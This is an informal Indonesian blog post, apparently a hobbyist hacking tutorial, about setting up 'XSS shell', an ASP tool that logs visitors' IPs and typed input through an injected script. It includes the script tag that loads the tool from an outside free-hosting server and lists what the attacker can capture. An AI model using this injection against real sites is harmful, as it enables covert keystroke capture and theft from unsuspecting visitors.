XSS shell

Haloooo..akhirnya setelah pindah server dan disibukkan ma ujian bisa ketemu lagi ma linx 😀

Langsung aja kali yaa, soalnya aQ mau ujian ni ntar sore..Sebelum ujian, tiba-tiba ada niat posting,jadi ya langsung aja konek internet N posting deh..hehehe.. Langsung ke topik ya, kali ini yang akan kita bahas adalah XSS shell / XSS backdoor.. aQ gak akan ngebahas apa itu XSS coz banyak dokumentasinya di internet..Tulis aja XSS di Google pasti banyak deh artikel yang ngebahas apa itu XSS..

Kemaren juga tau apa itu XSS shell karena dikasih tau badkiddies pas chat, katanya mau ada seminar hacking yang ngebahas tentang itu..Biz itu langsung deh searching, trus nyoba-nyoba yang ternyata ni tools lumayan keren..hehe

Oke deh,langsung aja ya,XSS shell di sini adalah sebuah tools yang berguna untuk ngelog / ngambil log sebuah situs di mana situs itu dah kita pasang script penghubung antara situs dengan halaman admin XSS shell itu sendiri. Mungkin bingung ya ngebaca kata2Q?hehe..Jadi gini aja deh, kasarannya kita buat dulu sebuah hostingan yang isinya itu adalah XSS shell nya, oia, karena ini pake pemrograman ASP jadinya harus cari hostingan yang support ma ASP ya.. Kalo aQ sih pake free hosting, yaitu jabry. Jangan lupa ya baca readmenya dulu untuk installasi XSS shellnya..

Setelah kita set semuanya, kita cari deh “korbannya”..hehehe..ya karena ini cuma sebatas tutor N posting semata, jadi aQ pake webQ yang di ugm buat korban..hehehe (masih newbie, jadi gak bisa nyari2 korban XSS :D)..Pertama aQ tambahkan dulu satu script buat ngeload script xssshellnya di index.html webQ..

<script src=”http://user7.jabry.com/[*censored]/xssshell/xssshell.asp”>

nah,setelah itu kita save.. Brarti tiap ada yang ngebuka http://linggar.web.ugm.ac.id, semua yang dilakuin orang yang ngebuka tu situs, aQ bakal bisa :

1. tau IP tu orang
2. dia ngetik apa aja di tu situs
3. ngasih alert / pesan ke orang yang buka tu situs
4. dll (baca sendiri deh manualnya :p)

Untuk contoh aja ya, misal aQ ngetik sesuatu di form yang ada di webQ tadi

trus di halaman admin XSS shellQ bakal keliatan apa yang aQ ketik

nah untuk implementasi laennya dari XSS shell adalah dengan XSS shell ini, kita bisa memberikan sebuah alert atau pesan pada orang yang ngebuka situs korban

Lalu akan terlihat

keren kan?hi3x..Oke deh, untuk yang laen, harap dicoba-coba ndiri ya..coz kalo aQ kasih tau semua, ya bakal gak cukup 1 postingan kali ya..hohoho

Ya mungkin itu dulu aja ya, kalo ada yang mau nyoba ni XSS shell, bisa langsung didownload di sini..Jangan lupa lho R-T-F-M (Read the fucking manual)..hehe

Thx for before N after..Ciaaaaoooo 😉

*NB : Bagi yang mau ngunjungin situsQ yang http://linggar.web.ugm.ac.id, gak usah takut, scriptnya dah aQ ilangin koq,jadi aman-aman aja kalo mau liat2 tu situs 😀